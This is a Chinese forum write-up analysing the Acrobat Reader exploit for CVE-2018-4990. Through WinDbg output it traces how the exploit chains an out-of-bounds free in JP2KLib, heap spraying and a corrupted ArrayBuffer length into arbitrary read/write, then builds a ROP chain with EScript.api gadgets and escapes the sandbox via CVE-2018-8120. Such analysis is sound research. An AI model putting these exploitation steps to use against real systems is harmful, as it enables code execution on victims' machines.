CVE-2018-4990 Acrobat Reader堆記憶體越界訪問釋放漏洞分析
樣本MD5
bd23ad33accef14684d42c32769092a0
漏洞簡介
CVE-2018-4990是Adobe在2018年5月修復的一個Adobe DC系列PDF閱讀器的0day,原樣本配合另一個windows本地提權漏洞CVE-2018-8120一起使用,後者用來進行沙箱逃逸,關於CVE-2018-8120漏洞的分析可以參考 @Leeqwind 同學寫的《通過對比 5 月補丁分析 win32k 空指標解引用漏洞》一文。
官方公告說這是一個Double Free漏洞,但除錯發現這是一個任意地址釋放漏洞,原樣本中,在32位環境下,攻擊者可以通過這個漏洞實現對任意兩個4位元組地址的釋放。原樣本漏洞觸發前用精準的堆噴射巧妙地佈局記憶體,然後觸發漏洞,釋放可控的的兩塊大小為0xfff8的相鄰堆塊。隨後,Windows堆分配演算法自動將兩塊空閒的堆塊合併成一個大堆塊,接著立即重新使用這個大堆塊,並利用這個該堆塊的讀寫能力改寫一個ArrayBuffer物件的長度為0x66666666,從而實現任意地址讀寫。
影響版本
根據公告,這個漏洞並不影響Adobe Reader 11.x及之前的版本,根據ESET的給出的列表,影響的版本如下:
Acrobat DC (2018.011.20038 and earlier versions)
Acrobat Reader DC (2018.011.20038 and earlier versions )
Acrobat 2017 (011.30079 and earlier versions)
Acrobat Reader DC 2017 (2017.011.30079 and earlier versions)
Acrobat DC (Classic 2015) (2015.006.30417 and earlier versions)
Acrobat Reader DC (Classic 2015) (2015.006.30417 and earlier versions)
分析環境
本次除錯使用的是Adobe Acrobat Reader DC 18.11.20035,JP2Klib.lib版本為1.2.2.39492。作業系統為Windows 7 sp1 x86,偵錯程式為Windbg。
全頁堆下的crash分析
拿到樣本,我們要做的第一件事就是定位漏洞觸發點,先開啟全頁堆,開啟樣本後發現crash,現場如下:
First chance exceptions are reported beforeanyexception handling.
This exception may be expectedandhandled.
eax=d0d0d0b0 ebx=00000000ecx=d0d0d000 edx=d0d0d0b0 esi=01930000edi=01930000
eip=72676e88esp=001ba2e0ebp=001ba32ciopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:
72676e88813abbbbcdab cmp dword ptr [edx],0ABCDBBBBhds:0023:d0d0d0b0=????????
0:000> kv20
ChildEBP RetAddr Args to Child
001ba32c72676f9501931000d0d0d0d001930000verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8(FPO: [SEH])
001ba3507267724001931000d0d0d0d0001ba3c0verifier!AVrfpDphFindBusyMemory+0x15(FPO: [2,5,0])
001ba36c7267908001931000d0d0d0d00090d911verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20(FPO: [2,3,0])
001ba388779169cc0193000001000002d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90(FPO: [3,3,0])
001ba3d0778d9e070193000001000002d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f(FPO: [SEH])
001ba4c4778a63a600000000d0d0d0d051b6cf98ntdll!RtlpFreeHeap+0x5d(FPO: [SEH])
001ba4e47708c6140193000000000000d0d0d0d0 ntdll!RtlFreeHeap+0x142(FPO: [3,1,4])
001ba4f86f0cecfa0193000000000000d0d0d0d0 kernel32!HeapFree+0x14(FPO: [3,0,0])
001ba50c67eb0574d0d0d0d00ee62d7452148facMSVCR120!free+0x1a(FPO: [Non-Fpo]) (CONV: cdecl) [f:\dd\vctools\crt\crtw32\heap\free.c @51]
WARNING: Stack unwind informationnotavailable. Following frames may be wrong.
001ba62c67ec64825383cfb851b6afd8000000fdJP2KLib!JP2KCopyRect+0xbae6
001ba68464e56cfc5387ae8853874fd051b6afd8JP2KLib!JP2KImageInitDecoderEx+0x24
001ba70c64e5869653834fa852148fac53834fa8AcroRd32_64860000!AX_PDXlateToHostEx+0x261843
001ba76c64e4d78552148fac001ba78c64e56640AcroRd32_64860000!AX_PDXlateToHostEx+0x2631dd
001ba77864e5664052148fac53056f7053050fc8AcroRd32_64860000!AX_PDXlateToHostEx+0x2582cc
001ba78c64a4030d52148fac53050fd053050fc8AcroRd32_64860000!AX_PDXlateToHostEx+0x261187
001ba7c864a3f92bc00100000000001653050fc8AcroRd32_64860000!PDMediaQueriesGetCosObj+0x7867d
001ba89864a3ebc6001bac40000000001065768eAcroRd32_64860000!PDMediaQueriesGetCosObj+0x77c9b
001babe864a3eb88001bac404ee49a501065717aAcroRd32_64860000!PDMediaQueriesGetCosObj+0x76f36
001bac1c64a3ea7153050e284ee49a50001bacd4AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76ef8
001bac8864a3d949c0010000000000164ee49a50AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76de1
001bb0f464a3ade9001bb3e051ae2598c0010000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x75cb9
001bc8cc64a3aa5151ae2598c001000000000016AcroRd32_64860000!PDMediaQueriesGetCosObj+0x73159
001bc9a464a24ab010651702000000004ee49a50AcroRd32_64860000!PDMediaQueriesGetCosObj+0x72dc1
001bca6464a844b4000000000000000000000000AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5ce20
001bcac064a3d2d3000000000000000000000000AcroRd32_64860000!CTJPEGDecoderReadNextTile+0x2dea4
001be28c64a3aa5151ae250cc001000000000015AcroRd32_64860000!PDMediaQueriesGetCosObj+0x75643
001be36464a24ab0106539425213ef7800000000AcroRd32_64860000!PDMediaQueriesGetCosObj+0x72dc1
001be42464a22e70000000010000000000000000AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5ce20
001be46c64a13d935213ef780000000100000000AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5b1e0
001be5cc64a134fa5360adbc000000010000002dAcroRd32_64860000!PDMediaQueriesGetCosObj+0x4c103
001be63464ac4a4410653bd200000000001be6d4AcroRd32_64860000!PDMediaQueriesGetCosObj+0x4b86a
001be6b464ac47514e180ef8c00100000000002dAcroRd32_64860000!CTJPEGDecoderReadNextTile+0x6e434
看過《Windows高階除錯》第6章頁堆部分的同學應該已經明白了,free地址為0xd0d0d0d0的原因是釋放了全頁堆的後置填充區域。
到這裡,有經驗的同學應該已經可以猜到是因為堆記憶體的越界訪問導致釋放了堆的後置填充資料,從上面的棧回溯我們可以看到這是JP2Klib動態庫的一處呼叫導致的,如下:
001ba62c67ec64825383cfb851b6afd8000000fdJP2KLib!JP2KCopyRect+0xbae6
我們在IDA裡面看一下相應偏移處的程式碼邏輯:
count1=0;
count2=0;
if(*(v116+4) >0)
{
do
{
if(*(*(*(pObj+0x48)+0xC)+4*count1) )
{
sub_66FEA(*(*(*(pObj+0x48)+0xC)+4*count1));//從這裡進入後面的free()
count1=count2;
*(*(*(pObj+0x48)+0xC)+4*count2)=0;
}
count2=++count1;
}while( count1 <*(*(pObj+0x48)+4) );
}
將上述程式碼整理一下後可以更清楚地看到邏輯:
count=0;
if(*(v116+4) >0)
{
do
{
if(*(mem_base+4*count) )
{
free(*(mem_base+4*count));
*(mem_base+4*count)=0;
}
count++;
}while( count < max_count );
}
漏洞的根本原因
我們來監控一下max_count和while迴圈裡的count變化過程
bp JP2KLib+50588"dd eax+4 l1; g;" //獲取max_count值
bp JP2KLib+50567"r eax; r ecx; g;"//獲取mem基地址和每次迴圈的count值
bp JP2KLib+5056e"r eax; g;" //獲取每次free()的地址
利用PdfStreamDumper.exe對pdf的修改能力,我們對內嵌的javascript程式碼稍作修改,放開原始碼的一處註釋,目的是在漏洞觸發前彈個對話方塊,便於我們下斷點:
0:000> bp JP2KLib+50588"dd eax+4 l1; g;"
0:000> bp JP2KLib+50567"r eax; r ecx; g;"
0:000> bp JP2KLib+5056e"r eax; g;"
0:000> g
eax=073fa1a0
ecx=00000000
17bf44d4 000000ff
eax=073fa1a0
ecx=00000001
17bf44d4 000000ff
...略去無關輸出...
eax=073fa1a0
ecx=000000fd
eax=0d0e0048
17bf44d4 000000ff
eax=073fa1a0
ecx=000000fe
eax=0d0f0048
17bf44d4 000000ff
可以看到mem_base為 073fa1a0, max_count = 0xff,當count變化到0xfd和0xfe時兩個在原js中出現得的堆地址 0x0d0e0048 和 0x0d0f0048 被釋放。
此時我們對mem_base的分配大小很感興趣,重啟windbg,觀察一下mem_base的大小,可以看到mem_base的大小為0x3f4
0:000> !heap-p-a0aaf5060
address0aaf5060foundin
_HEAP @880000
HEAP_ENTRY Size Prev Flags UserPtr UserSize-state
0aaf504800890000 [00] 0aaf5060 003f4-(busy)
Trace:1dd977d4
7707dd6cntdll!RtlAllocateHeap+0x00000274
694ded63MSVCR120!malloc+0x00000049
674b6f34JP2KLib!JP2KTileGeometryRegionIsTile+0x00000102
674912cbJP2KLib!JP2KCodeStm::write+0x00017dcb
67490978JP2KLib!JP2KCodeStm::write+0x00017478
6749f746JP2KLib!JP2KCopyRect+0x0000acb8
674b6482JP2KLib!JP2KImageInitDecoderEx+0x00000024
到這裡漏洞的成因已經很清楚了,漏洞根源在於 max_count = 0xff,而ff*4 = 3fc,所以while迴圈可以訪問到mem_base ~ mem_base+3fc 區間的記憶體。但是我們看到mem_base對應處的記憶體大小隻有0x3f4,兩者的差值為8個位元組3fc - 3f4 = 8,於是可以藉助上述while迴圈越界訪問兩個4位元組地址並釋放,來實現任意釋放兩個地址。
於是攻擊者可以通過記憶體佈局(例如堆噴射)提供的任意兩個4位元組地址,並實現任意釋放,如下是樣本中越界釋放的兩個堆地址,他們提高堆噴射被映象佈局到相鄰的記憶體。
0:000> dd0aaf5060+3f4l2
0aaf5454 0d0e00480d0f0048
所以這本質上不是一個double free漏洞,而是任意地址釋放漏洞(原樣本在32位下可以釋放兩個任意地址)。
堆噴射佔坑+OOB釋放
攻擊者在已經知道漏洞記憶體區域大小為0x3f4的前提下,在漏洞觸發前利用精心控制大小(0x400)的堆噴射構造大量物件,然後釋放其中的一半,藉助堆分配演算法,JP2Klib在申請漏洞物件時,會從釋放的堆塊裡面直接複用一個。
上述複用造成了很有意思的現象,我們在windbg下來看一下
0:000> bp JP2KLib+66f31".if(esi=3f4){}.else{g;}"
0:000> g
eax=17df5178ebx=000000fdecx=000003f4edx=00000000esi=000003f4edi=17d2ad38
eip=69496f31esp=0029a22cebp=0029a258iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
JP2KLib!JP2KTileGeometryRegionIsTile+0xff:
69496f31ff5010 call dword ptr [eax+10h] ds:0023:17df5188=63a60721
0:000> p
eax=075a9198ebx=000000fdecx=77052fe7edx=002f6c88esi=000003f4edi=17d2ad38
eip=69496f34esp=0029a22cebp=0029a258iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
JP2KLib!JP2KTileGeometryRegionIsTile+0x102:
69496f348bf8 mov edi,eax
0:000> !heap-p-a75a9198
address075a9198foundin
_HEAP @2f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize-state
075a919000810000 [00] 075a9198 003f4-(busy)
//0x400大小的堆塊busy和free交替出現
0:000> !heap-flt s400
_HEAP @2f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize-state
002fe5d800810000 [00] 002fe5e0 00400-(busy)
...
075a817000810081 [00] 075a8178 00400-(free)
075a857800810081 [00] 075a8580 00400-(busy)
075a898000810081 [00] 075a8988 00400-(free)
075a8d8800810081 [00] 075a8d90 00400-(busy)
//075a9198本來是此處的一塊0x400大小的空閒記憶體
075a959800810081 [00] 075a95a0 00400-(busy)
075a99a000810081 [00] 075a99a8 00400-(busy)
075a9da800810081 [00] 075a9db0 00400-(busy)
075aa5b800810081 [00] 075aa5c0 00400-(busy)
075aadc800810081 [00] 075aadd0 00400-(busy)
075ab5d800810081 [00] 075ab5e0 00400-(busy)
075ab9e000810081 [00] 075ab9e8 00400-(free)
075abde800810081 [00] 075abdf0 00400-(busy)
//越界訪問後待釋放的兩個地址
0:000> dd75a9198+3f4l2
075a958c 0d0e00480d0f0048
//此時待釋放的堆塊都在使用中
075a958c 0d0e00480d0f0048
0:000> !heap-p-a0d0e0048
address0d0e0048foundin
_HEAP @2f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize-state
0d0e004020000000 [00] 0d0e0048 0fff8-(busy)
0:000> !heap-p-a0d0f0048
address0d0f0048foundin
_HEAP @2f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize-state
0d0f004020000000 [00] 0d0f0048 0fff8-(busy)
//對越界釋放處下斷點
0:000> bp JP2KLib+5056e
0:000> g
...
eax=0d0e0048ebx=00000000ecx=000000fdedx=00000001esi=17d2ad38edi=17e43e60
eip=6948056eesp=0029a348ebp=0029a45ciopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
JP2KLib!JP2KCopyRect+0xbae0:
6948056e50 push eax
0:000> p
eax=0d0e0048ebx=00000000ecx=000000fdedx=00000001esi=17d2ad38edi=17e43e60
eip=6948056fesp=0029a344ebp=0029a45ciopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
JP2KLib!JP2KCopyRect+0xbae1:
6948056fe8766a0100 call JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8(69496fea)
0:000> p
eax=00000001ebx=00000000ecx=77056570edx=002f0000esi=17d2ad38edi=17e43e60
eip=69480574esp=0029a344ebp=0029a45ciopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
JP2KLib!JP2KCopyRect+0xbae6:
694805748b4648 mov eax,dword ptr [esi+48h] ds:0023:17d2ad80=17df4ca0
//第一次越界free後,0d0e0048堆塊被釋放
0:000> !heap-p-a0d0e0048
address0d0e0048foundin
_HEAP @2f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize-state
0d0e004020000000 [00] 0d0e0048 0fff8-(free)
0:000> !heap-p-a0d0f0048
address0d0f0048foundin
_HEAP @2f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize-state
0d0f004020000000 [00] 0d0f0048 0fff8-(busy)
0:000> g
eax=0d0f0048
eax=0d0f0048ebx=00000000ecx=000000feedx=002f0000esi=17d2ad38edi=17e43e60
eip=6948056eesp=0029a348ebp=0029a45ciopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
JP2KLib!JP2KCopyRect+0xbae0:
6948056e50 push eax
0:000> p
eax=0d0f0048ebx=00000000ecx=000000feedx=002f0000esi=17d2ad38edi=17e43e60
eip=6948056fesp=0029a344ebp=0029a45ciopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
JP2KLib!JP2KCopyRect+0xbae1:
6948056fe8766a0100 call JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8(69496fea)
0:000> p
eax=00000001ebx=00000000ecx=77056570edx=002f0000esi=17d2ad38edi=17e43e60
eip=69480574esp=0029a344ebp=0029a45ciopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
JP2KLib!JP2KCopyRect+0xbae6:
694805748b4648 mov eax,dword ptr [esi+48h] ds:0023:17d2ad80=17df4ca0
//第二次越界free後,0d0f0048堆塊被釋放,釋放過程中合併成一個大堆塊
0:000> !heap-p-a0d0f0048
address0d0f0048foundin
_HEAP @2f0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize-state
0d0e004040000000 [00] 0d0e0048 1fff8-(free)
隨後攻擊者通過以下程式碼立即將上述合併的堆塊重新使用。
由於漏洞觸發前的如下堆噴射語句,0d0e0048和0d0f0048在釋放前分別代表一個長度為0x10000 - 24的ArrayBuffer物件。在UAF之後,0d0e0048+0d0e0048的記憶體變成了一個長度為0x20000-24的ArrayBuffer物件。
接著攻擊者利用長度為0x20000-24的ArrayBuffer的讀寫能力去改寫釋放前0d0f0048對應ArrayBuffer物件的長度,將其改寫為0x66666666。然後利用之前構造的sprayarr陣列找到長度為0x66666666的“ArrayBuffer”物件(這時候已經是偽造的了),緊接著將其賦值給一個DataView物件藉助DataView來實現任意地址讀寫。
重啟偵錯程式,來看一下上述過程:
//觀察一下前一個堆塊的大小
0:004> !heap-p-a0d0d0048
address0d0d0048foundin
_HEAP @1110000
HEAP_ENTRY Size Prev Flags UserPtr UserSize-state
0d0d004020000000 [00] 0d0d0048 0fff8-(busy)
//觀察合併堆塊的大小
0:004> !heap-p-a0d0f0048
address0d0f0048foundin
_HEAP @1110000
HEAP_ENTRY Size Prev Flags UserPtr UserSize-state
0d0e004040000000 [00] 0d0e0048 1fff8-(busy)
//可以看到ArrayBuffer的+0x4偏移處代表其長度
0:004> dd0d0e0048
0d0e0048 000000000001ffe80000000000000000
0d0e0058 00000000000000000000000000000000
0d0e0068 00000000000000000000000000000000
0d0e0078 00000000000000000000000000000000
0d0e0088 00000000000000000000000000000000
0d0e0098 00000000000000000000000000000000
0d0e00a8 00000000000000000000000000000000
0d0e00b8 00000000000000000000000000000000
//長度域被修改之後0d0f0048代表的“ArrayBuffer物件”的長度域被修改為了0x66666666
0:004> dd0d0f0048
0d0f0048 00000000666666660000000000000000
0d0f0058 00000000000000000000000000000000
0d0f0068 00000000000000000000000000000000
0d0f0078 00000000000000000000000000000000
0d0f0088 00000000000000000000000000000000
0d0f0098 00000000000000000000000000000000
0d0f00a8 00000000000000000000000000000000
0d0f00b8 00000000000000000000000000000000
隨後攻擊者用其初始化一個DataView物件,並藉助DataView物件實現了任意地址讀寫函式:
隨後利用任意讀寫能力洩漏Escript.api基址,構造ROP:
//myarraybase=0x0d130058
//var obj1=myread(myarraybase-8);
//obj1=06bea450
//var obj2=myread(obj1+4);
0:012> dd06b25c40l2
06b25c40 67754a9006b313a0
//var obj3=myread(obj2);
0:012> dd67754a90l3
67754a90 676ab8249c0005216751966b
//var dll_base=(myread(obj3+8)-0x00010000) &0xffff0000;
0:012> ? (6751966b-10000) & ffff0000
Evaluate expression:1733296128=67500000
0:012> lmvm escript
start end module name
67500000677a1000 EScript (deferred)
Image path: C:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
Image name: EScript.api
Timestamp: Sat Feb0302:11:272018(5A74A9CF)
CheckSum: 00000000
ImageSize: 002A1000
Fileversion: 18.11.20035.2003
Product version: 18.11.20035.2003
Fileflags: 0(Mask3F)
FileOS: 4Unknown Win32
Filetype: 2.0Dll
Filedate: 00000000.00000000
Translations: 0409.04b0
CompanyName: Adobe Systems Incorporated
ProductName: Adobe Acrobat Escript
InternalName: Escript
OriginalFilename: Escript.api
ProductVersion: 18.11.20035.264147
FileVersion: 18.11.20035.264147
FileDescription: Adobe Acrobat Escript Plug-in
LegalCopyright: Copyright1984-2017Adobe Systems Incorporatedandits licensors.Allrights reserved.
LegalTrademarks: Adobe, Acrobatandthe Acrobat logo are trademarks of Adobe Systems Incorporated which may be registeredincertain jurisdictions.
隨後構造ROP,填充PE資料:
構造完ROP後對escript的off_259BA4全域性變數指向的指定偏移的資料進行修改:
/*
//0xC7D06
mywrite(objescript,0x6b707d06-0x6b640000+dll_base);
*/
0:012> u escript+4389f
***WARNING: Unable to verify checksumforC:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api
***ERROR: Symbolfilecouldnotbe found. Defaulted to export symbolsforC:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api-
EScript!mozilla::HashBytes+0x33229:
6754389f94 xchg eax,esp <--stack pivot
675438a0c3 ret
...
/*
//0x4389F
mywrite(objescript+0x598,0x6b68389f-0x6b640000+dll_base);//這一步我暫時沒有完全理解
*/
0:012> u escript+c7d06
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x61021:
675c7d065c pop esp
675c7d0759 pop ecx
675c7d0859 pop ecx
675c7d095d pop ebp
675c7d0ac20400 ret 4
通過stack pivot切換執行流到ROP
0:000> dps esp-10
0d13005c 00000000
0d130060 00000000
0d130064 6973845bEScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776
0d130068 6973845bEScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776
0d13006c 6973845aEScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1775
0d130070 69787084EScript!double_conversion::DoubleToStringConverter::ToPrecision+0x1d130
0d130074 69601767EScript!mozilla::HashBytes+0x10f1
0d130078 695f230dEScript+0x230d
0d13007c 0d130058
0d130080 6960ecafEScript!mozilla::HashBytes+0xe639
0d130084 69613a4bEScript!mozilla::HashBytes+0x133d5
0d130088 0d130058//lpAddress
0d13008c 00010201//dwSize
0d130090 00001000//flNewProtect: PAGE_EXECUTE_READWRITE
0d130094 00000040//lpflOldProtect: PAGE_READWRITE
0d130098 90909090
0d13009c 41414141
...
0:000> u6973845b
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776:
6973845bc3 ret
0:000> u6973845a
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1775:
6973845a59 pop ecx
6973845bc3 ret
69787084 ;importaddr of VirtualAlloc
0:000> u69601767
EScript!mozilla::HashBytes+0x10f1:
696017678b01 mov eax,dword ptr [ecx]
69601769c3 ret
0:000> u695f230d
EScript+0x230d:
695f230d5d pop ebp
695f230ec3 ret
0:000> u6960ecaf
EScript!mozilla::HashBytes+0xe639:
6960ecafffe0 jmp eax
0:000> u69613a4b
EScript!mozilla::HashBytes+0x133d5:
69613a4bffe4 jmp esp
沙箱逃逸
ROP執行完畢後,樣本進入shellcode,shellcode執行完後,在記憶體中直接執行PE,PE利用了CVE-2018-8120進行本地提權,提權成功後可以看到沙箱程式的許可權已經由low變成了system。
隨後樣本會彈出對話方塊,並向啟動項寫入一個one.vbs,one.vbs的作用是從本地http伺服器下載一個calc.exe,從這裡可以看出這個組合漏洞樣本還在測試階段。
後記
由於這個Adobe將這個漏洞歸類為Double Free,所以一開始我一直在往Double Free的方面想,導致浪費了大量時間。在這個過程中我看到了一篇非常精彩的Double Free文章《Too Much Freedom is Dangerous: Understanding IE 11 CVE-2015-2419 Exploitation》,想入門Double Free漏洞分析的同學可以好好看一下這篇文章。同時,在本地復現時我發現win7下在打了2018年3月的核心補丁後Adobe在8120的提權過程中會導致虛擬機器直接重啟,不打該補丁則一切正常,目前還未完全清楚該問題的原因。
此外,實際執行時發現bkm.execute()這一步的前一步就可以導向ROP,我暫時沒有除錯清楚最後兩步的含義,只知道是在切換執行流,也希望理解的同學可以告訴我一下。
//0x4389F, 實際執行這一步後就會觸發ROP
mywrite(objescript+0x598,0x6b68389f-0x6b640000+dll_base);
//所以這一步的作用是?
bkm.execute();
這個漏洞我從上週開始一直在花時間除錯,直到昨天下午國外 @steventseeley 發了一篇對這個漏洞的分析,當時感覺他並沒有分析清楚漏洞原因,昨晚看了 @klotxl404 和 @binjo 兩位大神在twitter上的互動後恍然大悟。今天下午看到 @steventseeley 的文章也更新了,他那篇還畫了圖,表述得非常清晰,可以先看他那篇。
這個漏洞中max_count值是否可控,以及其是否可以通過惡意的JPEG2000影像資料進行操縱,目前還暫不清楚,等待後面補充,或者等待有能力的同學進行補充。
第一次除錯Adobe Reader漏洞,不足之處請多見諒。
參考連結
《A tale of two zero-days》https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/
《通過對比 5 月補丁分析 win32k 空指標解引用漏洞》https://xiaodaozhi.com/exploit/149.html
《Adobe, Me and an Arbitrary Free :: Analyzing the CVE-2018-4990 Zero-Day Exploit》https://srcincite.io/blog/2018/05/21/adobe-me-and-a-double-free.html
《Too Much Freedom is Dangerous: Understanding IE 11 CVE-2015-2419 Exploitation》https://blog.checkpoint.com/2016/02/10/too-much-freedom-is-dangerous-understanding-ie-11-cve-2015-2419-exploitation/
《Javascript DataView》http://pwdme.cc/2018/01/21/javascript-dataview/
原文連結:https://bbs.pediy.com/thread-226971.htm
本文由看雪論壇 銀雁冰 原創
轉載請註明來自看雪社群
相關文章
- CVE-2013-3346Adobe Reader和Acrobat 記憶體損壞漏洞分析2016-08-01BAT記憶體
- 01-0006 C++記憶體訪問越界 [問題整理]2020-10-19C++記憶體
- vector clear() 方法 記憶體釋放問題2018-07-12記憶體
- java棧記憶體和堆記憶體的詮釋2009-04-11Java記憶體
- Linux核心筆記005 - 越界訪問記憶體,Linux核心處理過程2020-06-06Linux筆記記憶體
- Linux釋放記憶體及手動釋放Oracle共享記憶體段2013-11-09Linux記憶體Oracle
- vector 的記憶體釋放2019-04-22記憶體
- XCode釋放記憶體2018-06-29XCode記憶體
- linux釋放記憶體2015-02-27Linux記憶體
- vector 避免記憶體頻繁分配釋放與手動釋放vector記憶體2015-08-25記憶體
- 記憶體的分配與釋放,記憶體洩漏2019-05-12記憶體
- 轉 linux 記憶體釋放2014-01-03Linux記憶體
- Linux釋放cache記憶體2014-09-11Linux記憶體
- linux 記憶體釋放命令2011-05-20Linux記憶體
- JVM堆外記憶體問題排查2018-07-15JVM記憶體
- C/C++記憶體釋放應注意的問題2014-03-29C++記憶體
- Chrome 再次最佳化記憶體佔用問題,新增記憶體釋放開關2022-11-01Chrome記憶體
- 記憶體堆疊2010-04-30記憶體
- jvm 堆記憶體2024-11-11JVM記憶體
- Linux堆記憶體管理深入分析2017-02-02Linux記憶體
- C# 垃圾回收釋放記憶體2018-04-17C#記憶體
- 正確釋放Vector的記憶體2013-06-04記憶體
- FireFox記憶體自動釋放2010-12-03Firefox記憶體
- Java堆記憶體Heap與非堆記憶體Non-Heap2022-11-15Java記憶體
- 記一次堆外記憶體洩漏分析2024-06-03記憶體
- MAT工具定位分析Java堆記憶體洩漏問題方法2021-06-24Java記憶體
- 不生成core檔案的記憶體越界快速定位方法/記憶體越界定位/地址崩潰定位方法2024-10-16記憶體
- 【OpenCV】有關記憶體釋放的一些問題2013-05-29OpenCV記憶體
- 請教一個java程式記憶體釋放的問題2006-04-21Java記憶體
- JS中的棧記憶體、堆記憶體2019-02-23JS記憶體
- 直接記憶體和堆記憶體誰快2018-05-30記憶體
- 記憶體訪問全過程2020-05-10記憶體
- NameNode堆記憶體估算2024-05-08記憶體
- golang 釋放記憶體機制的探索2019-03-04Golang記憶體
- C/C++記憶體分配以及釋放2020-10-23C++記憶體
- Linux之 手動釋放記憶體2017-09-07Linux記憶體
- mongodb釋放記憶體-切換日誌2015-12-19MongoDB記憶體
- Linux下如何釋放cache記憶體2014-12-01Linux記憶體